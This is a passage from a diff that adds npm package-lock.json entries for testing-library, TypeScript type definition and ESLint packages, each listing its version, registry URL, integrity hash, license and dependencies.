"5.3.0", + "dom-accessibility-api": "^0.5.9", + "lz-string": "^1.5.0", + "picocolors": "1.1.1", + "pretty-format": "^27.0.2" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/@testing-library/jest-dom": { + "version": "5.17.0", + "resolved": "https://registry.npmjs.org/@testing-library/jest-dom/-/jest-dom-5.17.0.tgz", + "integrity": "sha512-ynmNeT7asXyH3aSVv4vvX4Rb+0qjOhdNHnO/3vuZNqPmhDpV/+rCSGwQ7bLcmU2cJ4dvoheIO85LQj0IbJHEtg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@adobe/css-tools": "^4.0.1", + "@babel/runtime": "^7.9.2", + "@types/testing-library__jest-dom": "^5.9.1", + "aria-query": "^5.0.0", + "chalk": "^3.0.0", + "css.escape": "^1.5.1", + "dom-accessibility-api": "^0.5.6", + "lodash": "^4.17.15", + "redent": "^3.0.0" + }, + "engines": { + "node": ">=8", + "npm": ">=6", + "yarn": ">=1" + } + }, + "node_modules/@testing-library/react": { + "version": "13.4.0", + "resolved": "https://registry.npmjs.org/@testing-library/react/-/react-13.4.0.tgz", + "integrity": "sha512-sXOGON+WNTh3MLE9rve97ftaZukN3oNf2KjDy7YTx6hcTO2uuLHuCGynMDhFwGw/jYf4OJ2Qk0i4i79qMNNkyw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.12.5", + "@testing-library/dom": "^8.5.0", + "@types/react-dom": "^18.0.0" + }, + "engines": { + "node": ">=12" + }, + "peerDependencies": { + "react": "^18.0.0", + "react-dom": "^18.0.0" + } + }, + "node_modules/@testing-library/react/node_modules/@testing-library/dom": { + "version": "8.20.1", + "resolved": "https://registry.npmjs.org/@testing-library/dom/-/dom-8.20.1.tgz", + "integrity": "sha512-/DiOQ5xBxgdYRC8LNk7U+RWat0S3qRLeIw3ZIkMQ9kkVlRmwD/Eg8k8CqIpD6GW7u20JIUOfMKbxtiLutpjQ4g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.10.4", + "@babel/runtime": "^7.12.5", + "@types/aria-query": "^5.0.1", + "aria-query": "5.1.3", + "chalk": "^4.1.0", + "dom-accessibility-api": "^0.5.9", + "lz-string": "^1.5.0", + "pretty-format": "^27.0.2" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/@testing-library/react/node_modules/aria-query": { + "version": "5.1.3", + "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.1.3.tgz", + "integrity": "sha512-R5iJ5lkuHybztUfuOAznmboyjWq8O6sqNqtK7CLOqdydi54VNbORp49mb14KbWgG1QD3JFO9hJdZ+y4KutfdOQ==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "deep-equal": "^2.0.5" + } + }, + "node_modules/@testing-library/react/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@testing-library/user-event": { + "version": "14.6.1", + "resolved": "https://registry.npmjs.org/@testing-library/user-event/-/user-event-14.6.1.tgz", + "integrity": "sha512-vq7fv0rnt+QTXgPxr5Hjc210p6YKq2kmdziLgnsZGgLJ9e6VAShx1pACLuRjd/AS/sr7phAR58OIIpf0LlmQNw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12", + "npm": ">=6" + }, + "peerDependencies": { + "@testing-library/dom": ">=7.21.4" + } + }, + "node_modules/@tootallnate/once": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-1.1.2.tgz", + "integrity": "sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/@types/aria-query": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/@types/aria-query/-/aria-query-5.0.4.tgz", + "integrity": "sha512-rfT93uj5s0PRL7EzccGMs3brplhcrghnDoV26NqKhCAS1hVo+WdNsPvE/yb6ilfr5hi2MEk6d5EWJTKdxg8jVw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/babel__core": { + "version": "7.20.5", + "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz", + "integrity": "sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.20.7", + "@babel/types": "^7.20.7", + "@types/babel__generator": "*", + "@types/babel__template": "*", + "@types/babel__traverse": "*" + } + }, + "node_modules/@types/babel__generator": { + "version": "7.27.0", + "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz", + "integrity": "sha512-ufFd2Xi92OAVPYsy+P4n7/U7e68fex0+Ee8gSG9KX7eo084CWiQ4sdxktvdl0bOPupXtVJPY19zk6EwWqUQ8lg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/types": "^7.0.0" + } + }, + "node_modules/@types/babel__template": { + "version": "7.4.4", + "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz", + "integrity": "sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.1.0", + "@babel/types": "^7.0.0" + } + }, + "node_modules/@types/babel__traverse": { + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.28.0.tgz", + "integrity": "sha512-8PvcXf70gTDZBgt9ptxJ8elBeBjcLOAcOtoO/mPJjtji1+CdGbHgm77om1GrsPxsiE+uXIpNSK64UYaIwQXd4Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/types": "^7.28.2" + } + }, + "node_modules/@types/body-parser": { + "version": "1.19.6", + "resolved": "https://registry.npmjs.org/@types/body-parser/-/body-parser-1.19.6.tgz", + "integrity": "sha512-HLFeCYgz89uk22N5Qg3dvGvsv46B8GLvKKo1zKG4NybA8U2DiEO3w9lqGg29t/tfLRJpJ6iQxnVw4OnB7MoM9g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/connect": "*", + "@types/node": "*" + } + }, + "node_modules/@types/bonjour": { + "version": "3.5.13", + "resolved": "https://registry.npmjs.org/@types/bonjour/-/bonjour-3.5.13.tgz", + "integrity": "sha512-z9fJ5Im06zvUL548KvYNecEVlA7cVDkGUi6kZusb04mpyEFKCIZJvloCcmpmLaIahDpOQGHaHmG6imtPMmPXGQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/connect": { + "version": "3.4.38", + "resolved": "https://registry.npmjs.org/@types/connect/-/connect-3.4.38.tgz", + "integrity": "sha512-K6uROf1LD88uDQqJCktA4yzL1YYAK6NgfsI0v/mTgyPKWsX1CnJ0XPSDhViejru1GcRkLWb8RlzFYJRqGUbaug==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/connect-history-api-fallback": { + "version": "1.5.4", + "resolved": "https://registry.npmjs.org/@types/connect-history-api-fallback/-/connect-history-api-fallback-1.5.4.tgz", + "integrity": "sha512-n6Cr2xS1h4uAulPRdlw6Jl6s1oG8KrVilPN2yUITEs+K48EzMJJ3W1xy8K5eWuFvjp3R74AOIGSmp2UfBJ8HFw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/express-serve-static-core": "*", + "@types/node": "*" + } + }, + "node_modules/@types/d3-array": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/@types/d3-array/-/d3-array-3.2.2.tgz", + "integrity": "sha512-hOLWVbm7uRza0BYXpIIW5pxfrKe0W+D5lrFiAEYR+pb6w3N2SwSMaJbXdUfSEv+dT4MfHBLtn5js0LAWaO6otw==", + "license": "MIT" + }, + "node_modules/@types/d3-color": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/@types/d3-color/-/d3-color-3.1.3.tgz", + "integrity": "sha512-iO90scth9WAbmgv7ogoq57O9YpKmFBbmoEoCHDB2xMBY0+/KVrqAaCDyCE16dUspeOvIxFFRI+0sEtqDqy2b4A==", + "license": "MIT" + }, + "node_modules/@types/d3-ease": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@types/d3-ease/-/d3-ease-3.0.2.tgz", + "integrity": "sha512-NcV1JjO5oDzoK26oMzbILE6HW7uVXOHLQvHshBUW4UMdZGfiY6v5BeQwh9a9tCzv+CeefZQHJt5SRgK154RtiA==", + "license": "MIT" + }, + "node_modules/@types/d3-interpolate": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/d3-interpolate/-/d3-interpolate-3.0.4.tgz", + "integrity": "sha512-mgLPETlrpVV1YRJIglr4Ez47g7Yxjl1lj7YKsiMCb27VJH9W8NVM6Bb9d8kkpG/uAQS5AmbA48q2IAolKKo1MA==", + "license": "MIT", + "dependencies": { + "@types/d3-color": "*" + } + }, + "node_modules/@types/d3-path": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/@types/d3-path/-/d3-path-3.1.1.tgz", + "integrity": "sha512-VMZBYyQvbGmWyWVea0EHs/BwLgxc+MKi1zLDCONksozI4YJMcTt8ZEuIR4Sb1MMTE8MMW49v0IwI5+b7RmfWlg==", + "license": "MIT" + }, + "node_modules/@types/d3-scale": { + "version": "4.0.9", + "resolved": "https://registry.npmjs.org/@types/d3-scale/-/d3-scale-4.0.9.tgz", + "integrity": "sha512-dLmtwB8zkAeO/juAMfnV+sItKjlsw2lKdZVVy6LRr0cBmegxSABiLEpGVmSJJ8O08i4+sGR6qQtb6WtuwJdvVw==", + "license": "MIT", + "dependencies": { + "@types/d3-time": "*" + } + }, + "node_modules/@types/d3-shape": { + "version": "3.1.8", + "resolved": "https://registry.npmjs.org/@types/d3-shape/-/d3-shape-3.1.8.tgz", + "integrity": "sha512-lae0iWfcDeR7qt7rA88BNiqdvPS5pFVPpo5OfjElwNaT2yyekbM0C9vK+yqBqEmHr6lDkRnYNoTBYlAgJa7a4w==", + "license": "MIT", + "dependencies": { + "@types/d3-path": "*" + } + }, + "node_modules/@types/d3-time": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/d3-time/-/d3-time-3.0.4.tgz", + "integrity": "sha512-yuzZug1nkAAaBlBBikKZTgzCeA+k1uy4ZFwWANOfKw5z5LRhV0gNA7gNkKm7HoK+HRN0wX3EkxGk0fpbWhmB7g==", + "license": "MIT" + }, + "node_modules/@types/d3-timer": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@types/d3-timer/-/d3-timer-3.0.2.tgz", + "integrity": "sha512-Ps3T8E8dZDam6fUyNiMkekK3XUsaUEik+idO9/YjPtfj2qruF8tFBXS7XhtE4iIXBLxhmLjP3SXpLhVf21I9Lw==", + "license": "MIT" + }, + "node_modules/@types/eslint": { + "version": "8.56.12", + "resolved": "https://registry.npmjs.org/@types/eslint/-/eslint-8.56.12.tgz", + "integrity": "sha512-03ruubjWyOHlmljCVoxSuNDdmfZDzsrrz0P2LeJsOXr+ZwFQ+0yQIwNCwt/GYhV7Z31fgtXJTAEs+FYlEL851g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/estree": "*", + "@types/json-schema": "*" + } + }, + "node_modules/@types/eslint-scope": { + "version": "3.7.7", + "resolved": "https://registry.npmjs.org/@types/eslint-scope/-/eslint-scope-3.7.7.tgz", + "integrity": "sha512-MzMFlSLBqNF2gcHWO0G1vP/YQyfvrxZ0bF+u7mzUdZ1/xK4A4sru+nraZz5i3iEIk1l1uyicaDVTB4QbbEkAYg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/eslint": "*", + "@types/estree": "*" + } + }, + "node_modules/@types/estree": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz", + "integrity": "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/express": { + "version": "4.17.25", + "resolved": "https://registry.npmjs.org/@types/express/-/express-4.17.25.tgz", + "integrity": "sha512-dVd04UKsfpINUnK0yBoYHDF3xu7xVH4BuDotC/xGuycx4CgbP48X/KF/586bcObxT0HENHXEU8Nqtu6NR+eKhw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/body-parser": "*", + "@types/express-serve-static-core": "^4.17.33", + "@types/qs": "*", + "@types/serve-static": "^1" + } + }, + "node_modules/@types/express-serve-static-core": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-5.1.1.tgz", + "integrity": "sha512-v4zIMr/cX7/d2BpAEX3KNKL/JrT1s43s96lLvvdTmza1oEvDudCqK9aF/djc/SWgy8Yh0h30TZx5VpzqFCxk5A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*", + "@types/qs": "*", + "@types/range-parser": "*", + "@types/send": "*" + } + }, + "node_modules/@types/express/node_modules/@types/express-serve-static-core": { + "version": "4.19.8", + "resolved": "https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-4.19.8.tgz", + "integrity": "sha512-02S5fmqeoKzVZCHPZid4b8JH2eM5HzQLZWN2FohQEy/0eXTq8VXZfSN6Pcr3F6N9R/vNrj7cpgbhjie6m/1tCA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*", + "@types/qs": "*", + "@types/range-parser": "*", + "@types/send": "*" + } + }, + "node_modules/@types/graceful-fs": { + "version": "4.1.9", + "resolved": "https://registry.npmjs.org/@types/graceful-fs/-/graceful-fs-4.1.9.tgz", + "integrity": "sha512-olP3sd1qOEe5dXTSaFvQG+02VdRXcdytWLAZsAq1PecU8uqQAhkrnbli7DagjtXKW/Bl7YJbUsa8MPcuc8LHEQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/html-minifier-terser": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/@types/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz", + "integrity": "sha512-oh/6byDPnL1zeNXFrDXFLyZjkr1MsBG667IM792caf1L2UPOOMf65NFzjUH/ltyfwjAGfs1rsX1eftK0jC/KIg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/http-errors": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@types/http-errors/-/http-errors-2.0.5.tgz", + "integrity": "sha512-r8Tayk8HJnX0FztbZN7oVqGccWgw98T/0neJphO91KkmOzug1KkofZURD4UaD5uH8AqcFLfdPErnBod0u71/qg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/http-proxy": { + "version": "1.17.17", + "resolved": "https://registry.npmjs.org/@types/http-proxy/-/http-proxy-1.17.17.tgz", + "integrity": "sha512-ED6LB+Z1AVylNTu7hdzuBqOgMnvG/ld6wGCG8wFnAzKX5uyW2K3WD52v0gnLCTK/VLpXtKckgWuyScYK6cSPaw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/istanbul-lib-coverage": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.6.tgz", + "integrity": "sha512-2QF/t/auWm0lsy8XtKVPG19v3sSOQlJe/YHZgfjb/KBBHOGSV+J2q/S671rcq9uTBrLAXmZpqJiaQbMT+zNU1w==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/istanbul-lib-report": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.3.tgz", + "integrity": "sha512-NQn7AHQnk/RSLOxrBbGyJM/aVQ+pjj5HCgasFxc0K/KhoATfQ/47AyUl15I2yBUpihjmas+a+VJBOqecrFH+uA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/istanbul-lib-coverage": "*" + } + }, + "node_modules/@types/istanbul-reports": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.4.tgz", + "integrity": "sha512-pk2B1NWalF9toCRu6gjBzR69syFjP4Od8WRAX+0mmf9lAjCRicLOWc+ZrxZHx/0XRjotgkF9t6iaMJ+aXcOdZQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/istanbul-lib-report": "*" + } + }, + "node_modules/@types/jest": { + "version": "30.0.0", + "resolved": "https://registry.npmjs.org/@types/jest/-/jest-30.0.0.tgz", + "integrity": "sha512-XTYugzhuwqWjws0CVz8QpM36+T+Dz5mTEBKhNs/esGLnCIlGdRy+Dq78NRjd7ls7r8BC8ZRMOrKlkO1hU0JOwA==", + "dev": true, + "license": "MIT", + "dependencies": { + "expect": "^30.0.0", + "pretty-format": "^30.0.0" + } + }, + "node_modules/@types/jest/node_modules/ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@types/jest/node_modules/pretty-format": { + "version": "30.3.0", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.3.0.tgz", + "integrity": "sha512-oG4T3wCbfeuvljnyAzhBvpN45E8iOTXCU/TD3zXW80HA3dQ4ahdqMkWGiPWZvjpQwlbyHrPTWUAqUzGzv4l1JQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/schemas": "30.0.5", + "ansi-styles": "^5.2.0", + "react-is": "^18.3.1" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } + }, + "node_modules/@types/jest/node_modules/react-is": { + "version": "18.3.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz", + "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/json-schema": { + "version": "7.0.15", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz", + "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/json5": { + "version": "0.0.29", + "resolved": "https://registry.npmjs.org/@types/json5/-/json5-0.0.29.tgz", + "integrity": "sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/mime": { + "version": "1.3.5", + "resolved": "https://registry.npmjs.org/@types/mime/-/mime-1.3.5.tgz", + "integrity": "sha512-/pyBZWSLD2n0dcHE3hq8s8ZvcETHtEuF+3E7XVt0Ig2nvsVQXdghHVcEkIWjy9A0wKfTn97a/PSDYohKIlnP/w==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/node": { + "version": "25.5.0", + "resolved": "https://registry.npmjs.org/@types/node/-/node-25.5.0.tgz", + "integrity": "sha512-jp2P3tQMSxWugkCUKLRPVUpGaL5MVFwF8RDuSRztfwgN1wmqJeMSbKlnEtQqU8UrhTmzEmZdu2I6v2dpp7XIxw==", + "dev": true, + "license": "MIT", + "dependencies": { + "undici-types": "~7.18.0" + } + }, + "node_modules/@types/node-forge": { + "version": "1.3.14", + "resolved": "https://registry.npmjs.org/@types/node-forge/-/node-forge-1.3.14.tgz", + "integrity": "sha512-mhVF2BnD4BO+jtOp7z1CdzaK4mbuK0LLQYAvdOLqHTavxFNq4zA1EmYkpnFjP8HOUzedfQkRnp0E2ulSAYSzAw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/parse-json": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/@types/parse-json/-/parse-json-4.0.2.tgz", + "integrity": "sha512-dISoDXWWQwUquiKsyZ4Ng+HX2KsPL7LyHKHQwgGFEA3IaKac4Obd+h2a/a6waisAoepJlBcx9paWqjA8/HVjCw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/prettier": { + "version": "2.7.3", + "resolved": "https://registry.npmjs.org/@types/prettier/-/prettier-2.7.3.tgz", + "integrity": "sha512-+68kP9yzs4LMp7VNh8gdzMSPZFL44MLGqiHWvttYJe+6qnuVr4Ek9wSBQoveqY/r+LwjCcU29kNVkidwim+kYA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/prop-types": { + "version": "15.7.15", + "resolved": "https://registry.npmjs.org/@types/prop-types/-/prop-types-15.7.15.tgz", + "integrity": "sha512-F6bEyamV9jKGAFBEmlQnesRPGOQqS2+Uwi0Em15xenOxHaf2hv6L8YCVn3rPdPJOiJfPiCnLIRyvwVaqMY3MIw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/q": { + "version": "1.5.8", + "resolved": "https://registry.npmjs.org/@types/q/-/q-1.5.8.tgz", + "integrity": "sha512-hroOstUScF6zhIi+5+x0dzqrHA1EJi+Irri6b1fxolMTqqHIV/Cg77EtnQcZqZCu8hR3mX2BzIxN4/GzI68Kfw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/qs": { + "version": "6.15.0", + "resolved": "https://registry.npmjs.org/@types/qs/-/qs-6.15.0.tgz", + "integrity": "sha512-JawvT8iBVWpzTrz3EGw9BTQFg3BQNmwERdKE22vlTxawwtbyUSlMppvZYKLZzB5zgACXdXxbD3m1bXaMqP/9ow==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/range-parser": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/@types/range-parser/-/range-parser-1.2.7.tgz", + "integrity": "sha512-hKormJbkJqzQGhziax5PItDUTMAM9uE2XXQmM37dyd4hVM+5aVl7oVxMVUiVQn2oCQFN/LKCZdvSM0pFRqbSmQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/react": { + "version": "18.3.28", + "resolved": "https://registry.npmjs.org/@types/react/-/react-18.3.28.tgz", + "integrity": "sha512-z9VXpC7MWrhfWipitjNdgCauoMLRdIILQsAEV+ZesIzBq/oUlxk0m3ApZuMFCXdnS4U7KrI+l3WRUEGQ8K1QKw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/prop-types": "*", + "csstype": "^3.2.2" + } + }, + "node_modules/@types/react-dom": { + "version": "18.3.7", + "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-18.3.7.tgz", + "integrity": "sha512-MEe3UeoENYVFXzoXEWsvcpg6ZvlrFNlOQ7EOsvhI3CfAXwzPfO8Qwuxd40nepsYKqyyVQnTdEfv68q91yLcKrQ==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "@types/react": "^18.0.0" + } + }, + "node_modules/@types/resolve": { + "version": "1.17.1", + "resolved": "https://registry.npmjs.org/@types/resolve/-/resolve-1.17.1.tgz", + "integrity": "sha512-yy7HuzQhj0dhGpD8RLXSZWEkLsV9ibvxvi6EiJ3bkqLAO1RGo0WbkWQiwpRlSFymTJRz0d3k5LM3kkx8ArDbLw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/retry": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/@types/retry/-/retry-0.12.0.tgz", + "integrity": "sha512-wWKOClTTiizcZhXnPY4wikVAwmdYHp8q6DmC+EJUzAMsycb7HB32Kh9RN4+0gExjmPmZSAQjgURXIGATPegAvA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/semver": { + "version": "7.7.1", + "resolved": "https://registry.npmjs.org/@types/semver/-/semver-7.7.1.tgz", + "integrity": "sha512-FmgJfu+MOcQ370SD0ev7EI8TlCAfKYU+B4m5T3yXc1CiRN94g/SZPtsCkk506aUDtlMnFZvasDwHHUcZUEaYuA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/send": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@types/send/-/send-1.2.1.tgz", + "integrity": "sha512-arsCikDvlU99zl1g69TcAB3mzZPpxgw0UQnaHeC1Nwb015xp8bknZv5rIfri9xTOcMuaVgvabfIRA7PSZVuZIQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/serve-index": { + "version": "1.9.4", + "resolved": "https://registry.npmjs.org/@types/serve-index/-/serve-index-1.9.4.tgz", + "integrity": "sha512-qLpGZ/c2fhSs5gnYsQxtDEq3Oy8SXPClIXkW5ghvAvsNuVSA8k+gCONcUCS/UjLEYvYps+e8uBtfgXgvhwfNug==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/express": "*" + } + }, + "node_modules/@types/serve-static": { + "version": "1.15.10", + "resolved": "https://registry.npmjs.org/@types/serve-static/-/serve-static-1.15.10.tgz", + "integrity": "sha512-tRs1dB+g8Itk72rlSI2ZrW6vZg0YrLI81iQSTkMmOqnqCaNr/8Ek4VwWcN5vZgCYWbg/JJSGBlUaYGAOP73qBw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/http-errors": "*", + "@types/node": "*", + "@types/send": "<1" + } + }, + "node_modules/@types/serve-static/node_modules/@types/send": { + "version": "0.17.6", + "resolved": "https://registry.npmjs.org/@types/send/-/send-0.17.6.tgz", + "integrity": "sha512-Uqt8rPBE8SY0RK8JB1EzVOIZ32uqy8HwdxCnoCOsYrvnswqmFZ/k+9Ikidlk/ImhsdvBsloHbAlewb2IEBV/Og==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/mime": "^1", + "@types/node": "*" + } + }, + "node_modules/@types/sockjs": { + "version": "0.3.36", + "resolved": "https://registry.npmjs.org/@types/sockjs/-/sockjs-0.3.36.tgz", + "integrity": "sha512-MK9V6NzAS1+Ud7JV9lJLFqW85VbC9dq3LmwZCuBe4wBDgKC0Kj/jd8Xl+nSviU+Qc3+m7umHHyHg//2KSa0a0Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/stack-utils": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/@types/stack-utils/-/stack-utils-2.0.3.tgz", + "integrity": "sha512-9aEbYZ3TbYMznPdcdr3SmIrLXwC/AKZXQeCf9Pgao5CKb8CyHuEX5jzWPTkvregvhRJHcpRO6BFoGW9ycaOkYw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/testing-library__jest-dom": { + "version": "5.14.9", + "resolved": "https://registry.npmjs.org/@types/testing-library__jest-dom/-/testing-library__jest-dom-5.14.9.tgz", + "integrity": "sha512-FSYhIjFlfOpGSRyVoMBMuS3ws5ehFQODymf3vlI7U1K8c7PHwWwFY7VREfmsuzHSOnoKs/9/Y983ayOs7eRzqw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/jest": "*" + } + }, + "node_modules/@types/trusted-types": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/@types/trusted-types/-/trusted-types-2.0.7.tgz", + "integrity": "sha512-ScaPdn1dQczgbl0QFTeTOmVHFULt394XJgOQNoyVhZ6r2vLnMLJfBPd53SB52T/3G36VI1/g2MZaX0cwDuXsfw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/ws": { + "version": "8.18.1", + "resolved": "https://registry.npmjs.org/@types/ws/-/ws-8.18.1.tgz", + "integrity": "sha512-ThVF6DCVhA8kUGy+aazFQ4kXQ7E1Ty7A3ypFOe0IcJV8O/M511G99AW24irKrW56Wt44yG9+ij8FaqoBGkuBXg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/yargs": { + "version": "17.0.35", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-17.0.35.tgz", + "integrity": "sha512-qUHkeCyQFxMXg79wQfTtfndEC+N9ZZg76HJftDJp+qH2tV7Gj4OJi7l+PiWwJ+pWtW8GwSmqsDj/oymhrTWXjg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/@types/yargs-parser": { + "version": "21.0.3", + "resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-21.0.3.tgz", + "integrity": "sha512-I4q9QU9MQv4oEOz4tAHJtNz1cwuLxn2F3xcc2iV5WdqLPpUnj30aUuxt1mAxYTG+oe8CZMV/+6rU4S4gRDzqtQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/@typescript-eslint/eslint-plugin": { + "version": "5.62.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-5.62.0.tgz", + "integrity": 